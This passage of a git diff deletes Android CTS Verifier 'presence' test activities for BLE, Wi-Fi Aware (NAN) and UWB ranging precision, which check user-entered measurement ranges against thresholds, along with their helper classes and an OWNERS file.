- BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-
- if (!adapter.isEnabled()) {
- new AlertDialog.Builder(this)
- .setTitle(R.string.ble_bluetooth_disable_title)
- .setMessage(R.string.ble_bluetooth_disable_message)
- .setOnCancelListener(dialog -> finish())
- .create().show();
- }
-
- reportRssiRangeEditText.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- reportReferenceDeviceEditText.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- }
-
- private void checkTestInputs() {
- getPassButton().setEnabled(checkDistanceRangeInput() && checkReferenceDeviceInput());
- }
-
- private boolean checkDistanceRangeInput() {
- String rssiRangeInput = reportRssiRangeEditText.getText().toString();
-
- if (!rssiRangeInput.isEmpty()) {
- int rssiRange = Integer.parseInt(rssiRangeInput);
- // RSSI range must be inputted and within acceptable range before test can be passed
- return rssiRange <= MAX_RSSI_RANGE_DBM;
- }
- return false;
- }
-
- private boolean checkReferenceDeviceInput() {
- // Reference device must be inputted before test can be passed
- return !reportReferenceDeviceEditText.getText().toString().isEmpty();
- }
-
- @Override
- public void recordTestResults() {
- String rssiRange = reportRssiRangeEditText.getText().toString();
- String referenceDevice = reportReferenceDeviceEditText.getText().toString();
-
- if (!rssiRange.isEmpty()) {
- Log.i(TAG, "BLE RSSI Range (dBm): " + rssiRange);
- getReportLog().addValue(KEY_RSSI_RANGE_DBM, Integer.parseInt(rssiRange),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!referenceDevice.isEmpty()) {
- Log.i(TAG, "BLE Reference Device: " + referenceDevice);
- getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
- getReportLog().submit();
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java
deleted file mode 100644
index 2de7edffe7c..00000000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.app.AlertDialog;
-import android.bluetooth.BluetoothAdapter;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/**
- * Tests that the device's Rx/Tx calibration results in a median range (cm) within the specified
- * bounds
- */
-public class BleRxTxCalibrationActivity extends PassFailButtons.Activity {
- private static final String TAG = BleRxTxCalibrationActivity.class.getName();
-
- // Report log schema
- private static final String KEY_CHANNEL_RSSI_RANGE = "channel_rssi_range";
- private static final String KEY_CORE_RSSI_RANGE = "core_rssi_range";
- private static final String KEY_REFERENCE_DEVICE = "reference_device";
-
- // Thresholds
- private static final int MAX_RSSI_RANGE = 6;
-
- private EditText reportChannelsRssiRangeEditText;
- private EditText reportCoresRssiRangeEditText;
- private EditText reportReferenceDeviceEditText;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.ble_rx_tx_calibration);
- setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
-
- reportChannelsRssiRangeEditText = findViewById(R.id.report_channels_rssi_range);
- reportCoresRssiRangeEditText = findViewById(R.id.report_cores_rssi_range);
- reportReferenceDeviceEditText = findViewById(R.id.report_reference_device);
-
- DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
- PackageManager.FEATURE_BLUETOOTH_LE);
-
- BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-
- if (!adapter.isEnabled()) {
- new AlertDialog.Builder(this)
- .setTitle(R.string.ble_bluetooth_disable_title)
- .setMessage(R.string.ble_bluetooth_disable_message)
- .setOnCancelListener(dialog -> finish())
- .create().show();
- }
-
- reportChannelsRssiRangeEditText.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- reportCoresRssiRangeEditText.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- reportReferenceDeviceEditText.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- }
-
- private void checkTestInputs() {
- getPassButton().setEnabled(
- checkChannelRssiInput() && checkCoreRssiInput() && checkReferenceDeviceInput());
- }
-
- private boolean checkChannelRssiInput() {
- String channelsRssiRangeInput = reportChannelsRssiRangeEditText.getText().toString();
- if (!channelsRssiRangeInput.isEmpty()) {
- int channelsRssiRange = Integer.parseInt(channelsRssiRangeInput);
- // RSSI range must be inputted and within acceptable range before test can be passed
- return channelsRssiRange <= MAX_RSSI_RANGE;
- }
- return false;
- }
-
- private boolean checkCoreRssiInput() {
- String coresRssiRangeInput = reportCoresRssiRangeEditText.getText().toString();
- if (!coresRssiRangeInput.isEmpty()) {
- int coresRssiRange = Integer.parseInt(coresRssiRangeInput);
- // RSSI range must be inputted and within acceptable range before test can be passed
- return coresRssiRange <= MAX_RSSI_RANGE;
- }
- // This field is optional, so return true even if the user has not inputted anything
- return true;
- }
-
- private boolean checkReferenceDeviceInput() {
- // Reference device must be inputted before test can be passed
- return !reportReferenceDeviceEditText.getText().toString().isEmpty();
- }
-
- @Override
- public void recordTestResults() {
- String channelRssiRange = reportChannelsRssiRangeEditText.getText().toString();
- String coreRssiRange = reportCoresRssiRangeEditText.getText().toString();
- String referenceDevice = reportReferenceDeviceEditText.getText().toString();
-
- if (!channelRssiRange.isEmpty()) {
- Log.i(TAG, "BLE RSSI Range Across Channels (dBm): " + channelRssiRange);
- getReportLog().addValue(KEY_CHANNEL_RSSI_RANGE, Integer.parseInt(channelRssiRange),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!coreRssiRange.isEmpty()) {
- Log.i(TAG, "BLE RSSI Range Across Cores (dBm): " + coreRssiRange);
- getReportLog().addValue(KEY_CORE_RSSI_RANGE, Integer.parseInt(coreRssiRange),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!referenceDevice.isEmpty()) {
- Log.i(TAG, "BLE Reference Device: " + referenceDevice);
- getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- getReportLog().submit();
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/DeviceFeatureChecker.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/DeviceFeatureChecker.java
deleted file mode 100644
index 256fe3a078d..00000000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/DeviceFeatureChecker.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.verifier.presence;
-import android.app.Activity;
-import android.content.Context;
-import android.util.Log;
-import android.view.View;
-import android.widget.Toast;
-
-/**
- * Checks if a device supports a hardware feature needed for a test, and passes the test
- * automatically otherwise.
- */
-public class DeviceFeatureChecker {
-
- /** Checks if a feature is supported.
- *
- * @param feature must be a string defined in PackageManager
- */
- public static void checkFeatureSupported(Context context, View passButton, String feature) {
- if (!context.getPackageManager().hasSystemFeature(feature)) {
- String message = String.format("Device does not support %s, automatically passing test",
- feature);
- Toast.makeText(context, message, Toast.LENGTH_SHORT).show();
- Log.e(context.getClass().getName(), message);
- passButton.performClick();
- Activity activity = (Activity) (context);
- activity.finish();
- }
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/InputTextHandler.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/InputTextHandler.java
deleted file mode 100644
index 2de68a5a78e..00000000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/InputTextHandler.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-package com.android.cts.verifier.presence;
-
-import android.text.Editable;
-import android.text.TextWatcher;
-
-/**
- * Handles editable text inputted into test activities.
- */
-public class InputTextHandler {
-
- /** Callback that is executed when text is changed. Takes modified text as input. */
- public interface OnTextChanged {
- void run(Editable s);
- }
-
- /**
- * Generic text changed handler that will execute the provided callback when text is modified.
- *
- * @param callback called when text is changed, and passed the modified text
- */
- public static TextWatcher getOnTextChangedHandler(OnTextChanged callback) {
- return new TextWatcher() {
- @Override
- public void beforeTextChanged(CharSequence s, int start, int count, int after) {}
-
- @Override
- public void onTextChanged(CharSequence s, int start, int before, int count) {}
-
- @Override
- public void afterTextChanged(Editable s) {
- callback.run(s);
- }
- };
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java
deleted file mode 100644
index 458d1920eca..00000000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java
+++ /dev/null
@@ -1,271 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import com.google.common.collect.ImmutableMap;
-
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Activity for testing that NAN measurements are within the acceptable ranges
- */
-public class NanPrecisionTestActivity extends PassFailButtons.Activity {
- private static final String TAG = NanPrecisionTestActivity.class.getName();
-
- // Report log schema
- private static final String KEY_BANDWIDTH = "nan_bandwidth";
- private static final String KEY_MEASUREMENT_RANGE_10CM_AT_68P = "measurement_range_10cm_68p";
- private static final String KEY_MEASUREMENT_RANGE_1M_AT_68P = "measurement_range_1m_68p";
- private static final String KEY_MEASUREMENT_RANGE_3M_AT_68p = "measurement_range_3m_68p";
- private static final String KEY_MEASUREMENT_RANGE_5M_AT_68p = "measurement_range_5m_68p";
- private static final String KEY_MEASUREMENT_RANGE_10CM_AT_90P = "measurement_range_10cm_90p";
- private static final String KEY_MEASUREMENT_RANGE_1M_AT_90P = "measurement_range_1m_90p";
- private static final String KEY_MEASUREMENT_RANGE_3M_AT_90p = "measurement_range_3m_90p";
- private static final String KEY_MEASUREMENT_RANGE_5M_AT_90p = "measurement_range_5m_90p";
- private static final String KEY_REFERENCE_DEVICE = "reference_device";
-
- // Thresholds
- private static final int MAX_DISTANCE_RANGE_METERS_160MHZ = 2;
- private static final int MAX_DISTANCE_RANGE_METERS_80MHZ = 4;
- private static final int MAX_DISTANCE_RANGE_METERS_40MHZ = 8;
- private static final int MAX_DISTANCE_RANGE_METERS_20MHZ = 16;
-
- // Maps NAN bandwidths to acceptable range thresholds
- private static final ImmutableMap<Integer, Integer> BANDWIDTH_TO_THRESHOLD_MAP =
- ImmutableMap.of(160, MAX_DISTANCE_RANGE_METERS_160MHZ, 80,
- MAX_DISTANCE_RANGE_METERS_80MHZ, 40, MAX_DISTANCE_RANGE_METERS_40MHZ, 20,
- MAX_DISTANCE_RANGE_METERS_20MHZ);
-
- private EditText mBandwidthMhz;
- private EditText mMeasurementRange10cmGt68p;
- private EditText mMeasurementRange1mGt68p;
- private EditText mMeasurementRange3mGt68p;
- private EditText mMeasurementRange5mGt68p;
- private EditText mMeasurementRange10cmGt90p;
- private EditText mMeasurementRange1mGt90p;
- private EditText mMeasurementRange3mGt90p;
- private EditText mMeasurementRange5mGt90p;
- private EditText mReferenceDeviceInput;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.nan_precision);
- setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
-
- mBandwidthMhz = (EditText) findViewById(R.id.nan_bandwidth);
- mMeasurementRange10cmGt68p = (EditText) findViewById(R.id.distance_range_10cm_gt_68p);
- mMeasurementRange1mGt68p = (EditText) findViewById(R.id.distance_range_1m_gt_68p);
- mMeasurementRange3mGt68p = (EditText) findViewById(R.id.distance_range_3m_gt_68p);
- mMeasurementRange5mGt68p = (EditText) findViewById(R.id.distance_range_5m_gt_68p);
- mMeasurementRange10cmGt90p = (EditText) findViewById(R.id.distance_range_10cm_gt_90p);
- mMeasurementRange1mGt90p = (EditText) findViewById(R.id.distance_range_1m_gt_90p);
- mMeasurementRange3mGt90p = (EditText) findViewById(R.id.distance_range_3m_gt_90p);
- mMeasurementRange5mGt90p = (EditText) findViewById(R.id.distance_range_5m_gt_90p);
- mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device);
-
- DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
- PackageManager.FEATURE_WIFI_AWARE);
-
- mBandwidthMhz.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange10cmGt68p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange1mGt68p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange3mGt68p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange5mGt68p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange10cmGt90p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange1mGt90p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange3mGt90p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mMeasurementRange5mGt90p.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mReferenceDeviceInput.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- }
-
- private void checkTestInputs() {
- getPassButton().setEnabled(checkMeasurementRange68thPercentileInput()
- && checkMeasurementRange90thPercentileInput()
- && checkReferenceDeviceInput());
- }
-
- private boolean checkMeasurementRange68thPercentileInput() {
- return checkRequiredMeasurementRangeInput(mMeasurementRange10cmGt68p,
- mMeasurementRange1mGt68p, mMeasurementRange3mGt68p, mMeasurementRange5mGt68p);
- }
-
- private boolean checkMeasurementRange90thPercentileInput() {
- String measurementRangeInput10cmGt90p = mMeasurementRange10cmGt90p.getText().toString();
- String measurementRangeInput1mGt90p = mMeasurementRange1mGt90p.getText().toString();
- String measurementRangeInput3mGt90p = mMeasurementRange3mGt90p.getText().toString();
- String measurementRangeInput5mGt90p = mMeasurementRange5mGt90p.getText().toString();
- List<String> optionalMeasurementRangeList = Arrays.asList(measurementRangeInput10cmGt90p,
- measurementRangeInput1mGt90p,
- measurementRangeInput3mGt90p, measurementRangeInput5mGt90p);
-
- boolean inputted = false;
- for (String input : optionalMeasurementRangeList) {
- if (!input.isEmpty()) {
- inputted = true;
- break;
- }
- }
- // If one of the ranges is inputted for one of the distances, then it becomes required
- // that the ranges are inputted for all the distances and for tests to pass, must be
- // acceptable values
- return !inputted || checkRequiredMeasurementRangeInput(mMeasurementRange10cmGt90p,
- mMeasurementRange1mGt90p, mMeasurementRange3mGt90p, mMeasurementRange5mGt90p);
- }
-
- private boolean checkRequiredMeasurementRangeInput(EditText rangeInput10cm,
- EditText rangeInput1m, EditText rangeInput3m, EditText rangeInput5m) {
- String bandwidthInputMhz = mBandwidthMhz.getText().toString();
- String measurementRangeInput10cmGt = rangeInput10cm.getText().toString();
- String measurementRangeInput1mGt = rangeInput1m.getText().toString();
- String measurementRangeInput3mGt = rangeInput3m.getText().toString();
- String measurementRangeInput5mGt = rangeInput5m.getText().toString();
- List<String> requiredMeasurementRangeList = Arrays.asList(measurementRangeInput10cmGt,
- measurementRangeInput1mGt,
- measurementRangeInput3mGt, measurementRangeInput5mGt);
-
- for (String input : requiredMeasurementRangeList) {
- if (bandwidthInputMhz.isEmpty() || input.isEmpty()) {
- // Distance range must be inputted for all fields so fail early otherwise
- return false;
- }
- if (!BANDWIDTH_TO_THRESHOLD_MAP.containsKey(Integer.parseInt(bandwidthInputMhz))) {
- // bandwidth must be one of the expected thresholds
- return false;
- }
- double distanceRange = Double.parseDouble(input);
- int bandwidth = Integer.parseInt(bandwidthInputMhz);
- if (distanceRange > BANDWIDTH_TO_THRESHOLD_MAP.get(bandwidth)) {
- // All inputs must be in acceptable range so fail early otherwise
- return false;
- }
- }
- return true;
- }
-
- private boolean checkReferenceDeviceInput() {
- // Reference device used must be inputted before test can be passed.
- return !mReferenceDeviceInput.getText().toString().isEmpty();
- }
-
- @Override
- public void recordTestResults() {
- String nanBandwidthMhz = mBandwidthMhz.getText().toString();
- String measurementRange10cmGt68p = mMeasurementRange10cmGt68p.getText().toString();
- String measurementRange1mGt68p = mMeasurementRange1mGt68p.getText().toString();
- String measurementRange3mGt68p = mMeasurementRange3mGt68p.getText().toString();
- String measurementRange5mGt68p = mMeasurementRange5mGt68p.getText().toString();
- String measurementRange10cmGt90p = mMeasurementRange10cmGt90p.getText().toString();
- String measurementRange1mGt90p = mMeasurementRange1mGt90p.getText().toString();
- String measurementRange3mGt90p = mMeasurementRange3mGt90p.getText().toString();
- String measurementRange5mGt90p = mMeasurementRange5mGt90p.getText().toString();
- String referenceDevice = mReferenceDeviceInput.getText().toString();
-
- if (!nanBandwidthMhz.isEmpty()) {
- Log.i(TAG, "NAN Bandwidth at which data was collected: " + nanBandwidthMhz);
- getReportLog().addValue(KEY_BANDWIDTH,
- Integer.parseInt(nanBandwidthMhz),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange10cmGt68p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 10cm: " + measurementRange10cmGt68p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_10CM_AT_68P,
- Double.parseDouble(measurementRange10cmGt68p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange1mGt68p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 1m: " + measurementRange1mGt68p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_1M_AT_68P,
- Double.parseDouble(measurementRange1mGt68p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange3mGt68p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 3m: " + measurementRange3mGt68p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_3M_AT_68p,
- Double.parseDouble(measurementRange3mGt68p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange5mGt68p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 5m: " + measurementRange5mGt68p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_5M_AT_68p,
- Double.parseDouble(measurementRange5mGt68p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange10cmGt90p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 10cm: " + measurementRange10cmGt68p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_10CM_AT_90P,
- Double.parseDouble(measurementRange10cmGt90p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange1mGt90p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 1m: " + measurementRange1mGt90p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_1M_AT_90P,
- Double.parseDouble(measurementRange1mGt90p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange3mGt90p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 3m: " + measurementRange3mGt90p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_3M_AT_90p,
- Double.parseDouble(measurementRange3mGt90p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!measurementRange5mGt90p.isEmpty()) {
- Log.i(TAG, "NAN Measurement Range at 5m: " + measurementRange5mGt90p);
- getReportLog().addValue(KEY_MEASUREMENT_RANGE_5M_AT_90p,
- Double.parseDouble(measurementRange5mGt90p),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
-
- if (!referenceDevice.isEmpty()) {
- Log.i(TAG, "NAN Reference Device: " + referenceDevice);
- getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
- getReportLog().submit();
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/presence/OWNERS
deleted file mode 100644
index e8744995b6c..00000000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# Bug component: 1106357
-asalo@google.com
-jbabs@google.com
-christinatao@google.com \ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/PresenceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/PresenceTestActivity.java
deleted file mode 100644
index 67766931591..00000000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/PresenceTestActivity.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.content.pm.PackageManager;
-import android.os.Build;
-import android.os.Bundle;
-import android.os.SystemProperties;
-
-import com.android.cts.verifier.ManifestTestListAdapter;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class PresenceTestActivity extends PassFailButtons.TestListActivity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.pass_fail_list);
- setPassFailButtonClickListeners();
-
- List<String> disabledTest = new ArrayList<String>();
- boolean isTv = getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
- if (isTv) {
- setInfoResources(R.string.presence_test, R.string.presence_test_tv_info, -1);
- int firstSdk = SystemProperties.getInt("ro.product.first_api_level", 0);
- if (firstSdk < Build.VERSION_CODES.TIRAMISU) {
- disabledTest.add("com.android.cts.verifier.presence.UwbPrecisionActivity");
- disabledTest.add("com.android.cts.verifier.presence.UwbShortRangeActivity");
- disabledTest.add("com.android.cts.verifier.presence.BleRssiPrecisionActivity");
- disabledTest.add("com.android.cts.verifier.presence.BleRxTxCalibrationActivity");
- disabledTest.add("com.android.cts.verifier.presence.BleRxOffsetActivity");
- disabledTest.add("com.android.cts.verifier.presence.BleTxOffsetActivity");
- disabledTest.add("com.android.cts.verifier.presence.NanPrecisionTestActivity");
- }
- } else {
- setInfoResources(R.string.presence_test, R.string.presence_test_info, -1);
- }
-
- setTestListAdapter(new ManifestTestListAdapter(this, PresenceTestActivity.class.getName(),
- disabledTest.toArray(new String[disabledTest.size()])));
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java
deleted file mode 100644
index 5d1ff8628dd..00000000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.verifier.presence;
-
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/**
- * Activity for testing that UWB distance and angle of arrival measurements are within the right
- * range.
- */
-public class UwbPrecisionActivity extends PassFailButtons.Activity {
- private static final String TAG = UwbPrecisionActivity.class.getName();
- // Report log schema
- private static final String KEY_DISTANCE_RANGE_CM = "distance_range_cm";
- private static final String KEY_REFERENCE_DEVICE = "reference_device";
- // Thresholds
- private static final int MAX_DISTANCE_RANGE_CM = 30;
-
- private EditText mDistanceRangeInput;
- private EditText mReferenceDeviceInput;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.uwb_precision);
- setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
-
- mDistanceRangeInput = (EditText) findViewById(R.id.distance_range_cm);
- mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device);
-
- DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
- PackageManager.FEATURE_UWB);
-
- mDistanceRangeInput.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mReferenceDeviceInput.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- }
-
- private void checkTestInputs() {
- getPassButton().setEnabled(
- checkDistanceRangeInput() && checkReferenceDeviceInput());
- }
-
- private boolean checkDistanceRangeInput() {
- String distanceRangeInput = mDistanceRangeInput.getText().toString();
- if (!distanceRangeInput.isEmpty()) {
- double distanceRange = Double.parseDouble(distanceRangeInput);
- // Distance range must be inputted and within acceptable range before test can be
- // passed.
- return distanceRange <= MAX_DISTANCE_RANGE_CM;
- }
- return false;
- }
-
- private boolean checkReferenceDeviceInput() {
- // Reference device must be inputted before test can be passed.
- return !mReferenceDeviceInput.getText().toString().isEmpty();
- }
-
- @Override
- public void recordTestResults() {
- String distanceRange = mDistanceRangeInput.getText().toString();
- String referenceDevice = mReferenceDeviceInput.getText().toString();
- if (!distanceRange.isEmpty()) {
- Log.i(TAG, "UWB Distance Range: " + distanceRange);
- getReportLog().addValue(KEY_DISTANCE_RANGE_CM, Double.parseDouble(distanceRange),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
- if (!referenceDevice.isEmpty()) {
- Log.i(TAG, "UWB Reference Device: " + referenceDevice);
- getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
- getReportLog().submit();
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java
deleted file mode 100644
index 7f14800b68c..00000000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
